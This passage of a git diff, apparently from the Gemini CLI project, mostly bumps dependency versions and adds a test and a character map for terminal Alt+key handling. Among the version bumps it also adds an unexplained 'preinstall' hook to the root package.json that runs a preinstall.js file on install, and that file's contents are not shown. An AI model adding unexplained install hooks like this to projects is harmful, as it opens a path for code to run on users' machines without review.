"integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
+ "dev": true,
"license": "BSD-2-Clause",
"dependencies": {
"punycode": "^2.1.0"
@@ -16709,13 +16989,13 @@
}
},
"node_modules/vite": {
- "version": "7.1.9",
- "resolved": "https://registry.npmjs.org/vite/-/vite-7.1.9.tgz",
- "integrity": "sha512-4nVGliEpxmhCL8DslSAUdxlB6+SMrhB0a1v5ijlh1xB1nEPuy1mxaHxysVucLHuWryAxLWg6a5ei+U4TLn/rFg==",
+ "version": "7.3.1",
+ "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.1.tgz",
+ "integrity": "sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA==",
"dev": true,
"license": "MIT",
"dependencies": {
- "esbuild": "^0.25.0",
+ "esbuild": "^0.27.0",
"fdir": "^6.5.0",
"picomatch": "^4.0.3",
"postcss": "^8.5.6",
@@ -16806,6 +17086,490 @@
"url": "https://opencollective.com/vitest"
}
},
+ "node_modules/vite/node_modules/@esbuild/aix-ppc64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.3.tgz",
+ "integrity": "sha512-9fJMTNFTWZMh5qwrBItuziu834eOCUcEqymSH7pY+zoMVEZg3gcPuBNxH1EvfVYe9h0x/Ptw8KBzv7qxb7l8dg==",
+ "cpu": [
+ "ppc64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "aix"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/android-arm": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.3.tgz",
+ "integrity": "sha512-i5D1hPY7GIQmXlXhs2w8AWHhenb00+GxjxRncS2ZM7YNVGNfaMxgzSGuO8o8SJzRc/oZwU2bcScvVERk03QhzA==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/android-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.3.tgz",
+ "integrity": "sha512-YdghPYUmj/FX2SYKJ0OZxf+iaKgMsKHVPF1MAq/P8WirnSpCStzKJFjOjzsW0QQ7oIAiccHdcqjbHmJxRb/dmg==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/android-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.3.tgz",
+ "integrity": "sha512-IN/0BNTkHtk8lkOM8JWAYFg4ORxBkZQf9zXiEOfERX/CzxW3Vg1ewAhU7QSWQpVIzTW+b8Xy+lGzdYXV6UZObQ==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/darwin-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.3.tgz",
+ "integrity": "sha512-Re491k7ByTVRy0t3EKWajdLIr0gz2kKKfzafkth4Q8A5n1xTHrkqZgLLjFEHVD+AXdUGgQMq+Godfq45mGpCKg==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/darwin-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.3.tgz",
+ "integrity": "sha512-vHk/hA7/1AckjGzRqi6wbo+jaShzRowYip6rt6q7VYEDX4LEy1pZfDpdxCBnGtl+A5zq8iXDcyuxwtv3hNtHFg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/freebsd-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.3.tgz",
+ "integrity": "sha512-ipTYM2fjt3kQAYOvo6vcxJx3nBYAzPjgTCk7QEgZG8AUO3ydUhvelmhrbOheMnGOlaSFUoHXB6un+A7q4ygY9w==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/freebsd-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.3.tgz",
+ "integrity": "sha512-dDk0X87T7mI6U3K9VjWtHOXqwAMJBNN2r7bejDsc+j03SEjtD9HrOl8gVFByeM0aJksoUuUVU9TBaZa2rgj0oA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-arm": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.3.tgz",
+ "integrity": "sha512-s6nPv2QkSupJwLYyfS+gwdirm0ukyTFNl3KTgZEAiJDd+iHZcbTPPcWCcRYH+WlNbwChgH2QkE9NSlNrMT8Gfw==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.3.tgz",
+ "integrity": "sha512-sZOuFz/xWnZ4KH3YfFrKCf1WyPZHakVzTiqji3WDc0BCl2kBwiJLCXpzLzUBLgmp4veFZdvN5ChW4Eq/8Fc2Fg==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-ia32": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.3.tgz",
+ "integrity": "sha512-yGlQYjdxtLdh0a3jHjuwOrxQjOZYD/C9PfdbgJJF3TIZWnm/tMd/RcNiLngiu4iwcBAOezdnSLAwQDPqTmtTYg==",
+ "cpu": [
+ "ia32"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-loong64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.3.tgz",
+ "integrity": "sha512-WO60Sn8ly3gtzhyjATDgieJNet/KqsDlX5nRC5Y3oTFcS1l0KWba+SEa9Ja1GfDqSF1z6hif/SkpQJbL63cgOA==",
+ "cpu": [
+ "loong64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-mips64el": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.3.tgz",
+ "integrity": "sha512-APsymYA6sGcZ4pD6k+UxbDjOFSvPWyZhjaiPyl/f79xKxwTnrn5QUnXR5prvetuaSMsb4jgeHewIDCIWljrSxw==",
+ "cpu": [
+ "mips64el"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-ppc64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.3.tgz",
+ "integrity": "sha512-eizBnTeBefojtDb9nSh4vvVQ3V9Qf9Df01PfawPcRzJH4gFSgrObw+LveUyDoKU3kxi5+9RJTCWlj4FjYXVPEA==",
+ "cpu": [
+ "ppc64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-riscv64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.3.tgz",
+ "integrity": "sha512-3Emwh0r5wmfm3ssTWRQSyVhbOHvqegUDRd0WhmXKX2mkHJe1SFCMJhagUleMq+Uci34wLSipf8Lagt4LlpRFWQ==",
+ "cpu": [
+ "riscv64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-s390x": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.3.tgz",
+ "integrity": "sha512-pBHUx9LzXWBc7MFIEEL0yD/ZVtNgLytvx60gES28GcWMqil8ElCYR4kvbV2BDqsHOvVDRrOxGySBM9Fcv744hw==",
+ "cpu": [
+ "s390x"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.3.tgz",
+ "integrity": "sha512-Czi8yzXUWIQYAtL/2y6vogER8pvcsOsk5cpwL4Gk5nJqH5UZiVByIY8Eorm5R13gq+DQKYg0+JyQoytLQas4dA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/netbsd-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.3.tgz",
+ "integrity": "sha512-sDpk0RgmTCR/5HguIZa9n9u+HVKf40fbEUt+iTzSnCaGvY9kFP0YKBWZtJaraonFnqef5SlJ8/TiPAxzyS+UoA==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "netbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/netbsd-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.3.tgz",
+ "integrity": "sha512-P14lFKJl/DdaE00LItAukUdZO5iqNH7+PjoBm+fLQjtxfcfFE20Xf5CrLsmZdq5LFFZzb5JMZ9grUwvtVYzjiA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "netbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/openbsd-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.3.tgz",
+ "integrity": "sha512-AIcMP77AvirGbRl/UZFTq5hjXK+2wC7qFRGoHSDrZ5v5b8DK/GYpXW3CPRL53NkvDqb9D+alBiC/dV0Fb7eJcw==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/openbsd-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.3.tgz",
+ "integrity": "sha512-DnW2sRrBzA+YnE70LKqnM3P+z8vehfJWHXECbwBmH/CU51z6FiqTQTHFenPlHmo3a8UgpLyH3PT+87OViOh1AQ==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/openharmony-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.3.tgz",
+ "integrity": "sha512-NinAEgr/etERPTsZJ7aEZQvvg/A6IsZG/LgZy+81wON2huV7SrK3e63dU0XhyZP4RKGyTm7aOgmQk0bGp0fy2g==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openharmony"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/sunos-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.3.tgz",
+ "integrity": "sha512-PanZ+nEz+eWoBJ8/f8HKxTTD172SKwdXebZ0ndd953gt1HRBbhMsaNqjTyYLGLPdoWHy4zLU7bDVJztF5f3BHA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "sunos"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/win32-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.3.tgz",
+ "integrity": "sha512-B2t59lWWYrbRDw/tjiWOuzSsFh1Y/E95ofKz7rIVYSQkUYBjfSgf6oeYPNWHToFRr2zx52JKApIcAS/D5TUBnA==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/win32-ia32": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.3.tgz",
+ "integrity": "sha512-QLKSFeXNS8+tHW7tZpMtjlNb7HKau0QDpwm49u0vUp9y1WOF+PEzkU84y9GqYaAVW8aH8f3GcBck26jh54cX4Q==",
+ "cpu": [
+ "ia32"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/win32-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.3.tgz",
+ "integrity": "sha512-4uJGhsxuptu3OcpVAzli+/gWusVGwZZHTlS63hh++ehExkVT8SgiEf7/uC/PclrPPkLhZqGgCTjd0VWLo6xMqA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/vite/node_modules/esbuild": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.3.tgz",
+ "integrity": "sha512-8VwMnyGCONIs6cWue2IdpHxHnAjzxnw2Zr7MkVxB2vjmQ2ivqGFb4LEG3SMnv0Gb2F/G/2yA8zUaiL1gywDCCg==",
+ "dev": true,
+ "hasInstallScript": true,
+ "license": "MIT",
+ "bin": {
+ "esbuild": "bin/esbuild"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "optionalDependencies": {
+ "@esbuild/aix-ppc64": "0.27.3",
+ "@esbuild/android-arm": "0.27.3",
+ "@esbuild/android-arm64": "0.27.3",
+ "@esbuild/android-x64": "0.27.3",
+ "@esbuild/darwin-arm64": "0.27.3",
+ "@esbuild/darwin-x64": "0.27.3",
+ "@esbuild/freebsd-arm64": "0.27.3",
+ "@esbuild/freebsd-x64": "0.27.3",
+ "@esbuild/linux-arm": "0.27.3",
+ "@esbuild/linux-arm64": "0.27.3",
+ "@esbuild/linux-ia32": "0.27.3",
+ "@esbuild/linux-loong64": "0.27.3",
+ "@esbuild/linux-mips64el": "0.27.3",
+ "@esbuild/linux-ppc64": "0.27.3",
+ "@esbuild/linux-riscv64": "0.27.3",
+ "@esbuild/linux-s390x": "0.27.3",
+ "@esbuild/linux-x64": "0.27.3",
+ "@esbuild/netbsd-arm64": "0.27.3",
+ "@esbuild/netbsd-x64": "0.27.3",
+ "@esbuild/openbsd-arm64": "0.27.3",
+ "@esbuild/openbsd-x64": "0.27.3",
+ "@esbuild/openharmony-arm64": "0.27.3",
+ "@esbuild/sunos-x64": "0.27.3",
+ "@esbuild/win32-arm64": "0.27.3",
+ "@esbuild/win32-ia32": "0.27.3",
+ "@esbuild/win32-x64": "0.27.3"
+ }
+ },
"node_modules/vite/node_modules/fdir": {
"version": "6.5.0",
"resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
@@ -17591,12 +18355,12 @@
}
},
"node_modules/zod-to-json-schema": {
- "version": "3.24.6",
- "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.24.6.tgz",
- "integrity": "sha512-h/z3PKvcTcTetyjl1fkj79MHNEjm+HpD6NXheWjzOekY7kV+lwDYnHw+ivHkijnCSMz1yJaWBD9vu/Fcmk+vEg==",
+ "version": "3.25.1",
+ "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.1.tgz",
+ "integrity": "sha512-pM/SU9d3YAggzi6MtR4h7ruuQlqKtad8e9S0fmxcMi+ueAK5Korys/aWcV9LIIHTVbj01NdzxcnXSN+O74ZIVA==",
"license": "ISC",
"peerDependencies": {
- "zod": "^3.24.1"
+ "zod": "^3.25 || ^4"
}
},
"packages/a2a-server": {
@@ -17608,7 +18372,7 @@
"@google/gemini-cli-core": "file:../core",
"express": "^5.1.0",
"fs-extra": "^11.3.0",
- "tar": "^7.4.3",
+ "tar": "^7.5.8",
"uuid": "^11.1.0",
"winston": "^3.17.0"
},
@@ -17880,16 +18644,16 @@
"@google/gemini-cli-core": "file:../core",
"@google/genai": "1.16.0",
"@iarna/toml": "^2.2.5",
- "@modelcontextprotocol/sdk": "^1.15.1",
+ "@modelcontextprotocol/sdk": "^1.26.0",
"@types/update-notifier": "^6.0.8",
"ansi-regex": "^6.2.2",
"command-exists": "^1.2.9",
"comment-json": "^4.2.5",
- "diff": "^7.0.0",
+ "diff": "^8.0.3",
"dotenv": "^17.1.0",
"extract-zip": "^2.0.1",
"fzf": "^0.5.2",
- "glob": "^10.4.5",
+ "glob": "^10.5.0",
"highlight.js": "^11.11.1",
"ink": "^6.2.3",
"ink-gradient": "^3.0.0",
@@ -17904,8 +18668,8 @@
"string-width": "^7.1.0",
"strip-ansi": "^7.1.0",
"strip-json-comments": "^3.1.1",
- "tar": "^7.5.1",
- "undici": "^7.10.0",
+ "tar": "^7.5.8",
+ "undici": "^7.18.2",
"update-notifier": "^7.3.1",
"wrap-ansi": "9.0.2",
"yargs": "^17.7.2",
@@ -17995,7 +18759,7 @@
"@google-cloud/opentelemetry-cloud-trace-exporter": "^3.0.0",
"@google/genai": "1.16.0",
"@joshua.litt/get-ripgrep": "^0.0.2",
- "@modelcontextprotocol/sdk": "^1.11.0",
+ "@modelcontextprotocol/sdk": "^1.26.0",
"@opentelemetry/api": "^1.9.0",
"@opentelemetry/exporter-logs-otlp-grpc": "^0.203.0",
"@opentelemetry/exporter-logs-otlp-http": "^0.203.0",
@@ -18009,16 +18773,16 @@
"@types/glob": "^8.1.0",
"@types/html-to-text": "^9.0.4",
"@xterm/headless": "5.5.0",
- "ajv": "^8.17.1",
+ "ajv": "^8.18.0",
"ajv-formats": "^3.0.0",
"chardet": "^2.1.0",
- "diff": "^7.0.0",
+ "diff": "^8.0.3",
"dotenv": "^17.1.0",
"fast-levenshtein": "^2.0.6",
"fast-uri": "^3.0.6",
"fdir": "^6.4.6",
"fzf": "^0.5.2",
- "glob": "^10.4.5",
+ "glob": "^10.5.0",
"google-auth-library": "^9.11.0",
"html-to-text": "^9.0.5",
"https-proxy-agent": "^7.0.6",
@@ -18031,7 +18795,7 @@
"shell-quote": "^1.8.3",
"simple-git": "^3.28.0",
"strip-ansi": "^7.1.0",
- "undici": "^7.10.0",
+ "undici": "^7.18.2",
"ws": "^8.18.0"
},
"devDependencies": {
@@ -18060,9 +18824,9 @@
}
},
"packages/core/node_modules/ajv": {
- "version": "8.17.1",
- "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz",
- "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==",
+ "version": "8.18.0",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.18.0.tgz",
+ "integrity": "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A==",
"license": "MIT",
"dependencies": {
"fast-deep-equal": "^3.1.3",
@@ -18098,6 +18862,12 @@
"node": ">= 4"
}
},
+ "packages/core/node_modules/json-schema-traverse": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+ "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
+ "license": "MIT"
+ },
"packages/core/node_modules/mime": {
"version": "4.0.7",
"resolved": "https://registry.npmjs.org/mime/-/mime-4.0.7.tgz",
@@ -18141,7 +18911,7 @@
"version": "0.10.0-nightly.20251007.c195a9aa",
"license": "LICENSE",
"dependencies": {
- "@modelcontextprotocol/sdk": "^1.15.1",
+ "@modelcontextprotocol/sdk": "^1.26.0",
"cors": "^2.8.5",
"express": "^5.1.0",
"zod": "^3.25.76"
diff --git a/package.json b/package.json
index cb97cea147d..7daaeca7b56 100644
--- a/package.json
+++ b/package.json
@@ -55,7 +55,8 @@
"telemetry": "node scripts/telemetry.js",
"check:lockfile": "node scripts/check-lockfile.js",
"clean": "node scripts/clean.js",
- "pre-commit": "node scripts/pre-commit.js"
+ "pre-commit": "node scripts/pre-commit.js",
+ "preinstall": "node preinstall.js"
},
"overrides": {
"wrap-ansi": "9.0.2",
@@ -89,7 +90,7 @@
"eslint-plugin-license-header": "^0.8.0",
"eslint-plugin-react": "^7.37.5",
"eslint-plugin-react-hooks": "^5.2.0",
- "glob": "^10.4.5",
+ "glob": "^10.5.0",
"globals": "^16.0.0",
"google-artifactregistry-auth": "^3.4.0",
"husky": "^9.1.7",
@@ -131,4 +132,4 @@
"prettier --write"
]
}
-}
+}
\ No newline at end of file
diff --git a/packages/a2a-server/package.json b/packages/a2a-server/package.json
index f356413cd00..6f6c0c7f302 100644
--- a/packages/a2a-server/package.json
+++ b/packages/a2a-server/package.json
@@ -31,7 +31,7 @@
"@google/gemini-cli-core": "file:../core",
"express": "^5.1.0",
"fs-extra": "^11.3.0",
- "tar": "^7.4.3",
+ "tar": "^7.5.8",
"uuid": "^11.1.0",
"winston": "^3.17.0"
},
diff --git a/packages/cli/package.json b/packages/cli/package.json
index b3d60a29b31..1009aa57039 100644
--- a/packages/cli/package.json
+++ b/packages/cli/package.json
@@ -31,15 +31,15 @@
"@google/gemini-cli-core": "file:../core",
"@google/genai": "1.16.0",
"@iarna/toml": "^2.2.5",
- "@modelcontextprotocol/sdk": "^1.15.1",
+ "@modelcontextprotocol/sdk": "^1.26.0",
"@types/update-notifier": "^6.0.8",
"ansi-regex": "^6.2.2",
"command-exists": "^1.2.9",
"comment-json": "^4.2.5",
- "diff": "^7.0.0",
+ "diff": "^8.0.3",
"dotenv": "^17.1.0",
"fzf": "^0.5.2",
- "glob": "^10.4.5",
+ "glob": "^10.5.0",
"highlight.js": "^11.11.1",
"ink": "^6.2.3",
"ink-gradient": "^3.0.0",
@@ -54,8 +54,8 @@
"string-width": "^7.1.0",
"strip-ansi": "^7.1.0",
"strip-json-comments": "^3.1.1",
- "tar": "^7.5.1",
- "undici": "^7.10.0",
+ "tar": "^7.5.8",
+ "undici": "^7.18.2",
"extract-zip": "^2.0.1",
"update-notifier": "^7.3.1",
"wrap-ansi": "9.0.2",
diff --git a/packages/cli/src/ui/contexts/KeypressContext.test.tsx b/packages/cli/src/ui/contexts/KeypressContext.test.tsx
index d2107ff40bb..f5b303128bd 100644
--- a/packages/cli/src/ui/contexts/KeypressContext.test.tsx
+++ b/packages/cli/src/ui/contexts/KeypressContext.test.tsx
@@ -956,3 +956,127 @@ describe('Drag and Drop Handling', () => {
});
});
});
+
+describe('Terminal-specific Alt+key combinations', () => {
+ let stdin: MockStdin;
+ const mockSetRawMode = vi.fn();
+
+ const wrapper = ({ children }: { children: React.ReactNode }) => (
+ {children}
+ );
+
+ beforeEach(() => {
+ vi.clearAllMocks();
+ stdin = new MockStdin();
+ (useStdin as Mock).mockReturnValue({
+ stdin,
+ setRawMode: mockSetRawMode,
+ });
+ });
+
+ // Terminals to test
+ const terminals = ['iTerm2', 'Ghostty', 'MacTerminal', 'VSCodeTerminal'];
+
+ // Key mappings: letter -> [keycode, accented character, shouldHaveMeta]
+ // Note: µ (mu) is sent with meta:false on iTerm2/VSCode
+ const keys: Record = {
+ a: [97, 'å', true],
+ o: [111, 'ø', true],
+ m: [109, 'µ', false],
+ };
+
+ it.each(
+ terminals.flatMap((terminal) =>
+ Object.entries(keys).map(
+ ([key, [keycode, accentedChar, shouldHaveMeta]]) => {
+ if (terminal === 'Ghostty') {
+ // Ghostty uses kitty protocol sequences
+ return {
+ terminal,
+ key,
+ kittySequence: `\x1b[${keycode};3u`,
+ expected: {
+ name: key,
+ ctrl: false,
+ meta: true,
+ shift: false,
+ paste: false,
+ kittyProtocol: true,
+ },
+ };
+ } else if (terminal === 'MacTerminal') {
+ // Mac Terminal sends ESC + letter
+ return {
+ terminal,
+ key,
+ input: {
+ sequence: `\x1b${key}`,
+ name: key,
+ ctrl: false,
+ meta: true,
+ shift: false,
+ paste: false,
+ },
+ expected: {
+ sequence: `\x1b${key}`,
+ name: key,
+ ctrl: false,
+ meta: true,
+ shift: false,
+ paste: false,
+ },
+ };
+ } else {
+ // iTerm2 and VSCode send accented characters (å, ø, µ)
+ // Note: µ comes with meta:false but gets converted to m with meta:true
+ return {
+ terminal,
+ key,
+ input: {
+ name: key,
+ ctrl: false,
+ meta: shouldHaveMeta,
+ shift: false,
+ paste: false,
+ sequence: accentedChar,
+ },
+ expected: {
+ name: key,
+ ctrl: false,
+ meta: true, // Always expect meta:true after conversion
+ shift: false,
+ paste: false,
+ sequence: accentedChar,
+ },
+ };
+ }
+ },
+ ),
+ ),
+ )(
+ 'should handle Alt+$key in $terminal',
+ ({
+ kittySequence,
+ input,
+ expected,
+ }: {
+ kittySequence?: string;
+ input?: Partial;
+ expected: Partial;
+ }) => {
+ const keyHandler = vi.fn();
+ const { result } = renderHook(() => useKeypressContext(), { wrapper });
+ act(() => result.current.subscribe(keyHandler));
+
+ if (kittySequence) {
+ act(() => stdin.sendKittySequence(kittySequence));
+ } else if (input) {
+ act(() => stdin.pressKey(input));
+ }
+
+ expect(keyHandler).toHaveBeenCalledWith(
+ expect.objectContaining(expected),
+ );
+ },
+ );
+});
diff --git a/packages/cli/src/ui/contexts/KeypressContext.tsx b/packages/cli/src/ui/contexts/KeypressContext.tsx
index 4930f7101d0..b8b89dceeb3 100644
--- a/packages/cli/src/ui/contexts/KeypressContext.tsx
+++ b/packages/cli/src/ui/contexts/KeypressContext.tsx
@@ -45,6 +45,36 @@ export const DRAG_COMPLETION_TIMEOUT_MS = 100; // Broadcast full path after 100m
export const SINGLE_QUOTE = "'";
export const DOUBLE_QUOTE = '"';
+const ALT_KEY_CHARACTER_MAP: Record = {
+ '\u00E5': 'a',
+ '\u222B': 'b',
+ '\u00E7': 'c',
+ '\u2202': 'd',
+ '\u00B4': 'e',
+ '\u0192': 'f',
+ '\u00A9': 'g',
+ '\u02D9': 'h',
+ '\u02C6': 'i',
+ '\u2206': 'j',
+ '\u02DA': 'k',
+ '\u00AC': 'l',
+ '\u00B5': 'm',
+ '\u02DC': 'n',
+ '\u00F8': 'o',
+ '\u03C0': 'p',
+ '\u0153': 'q',
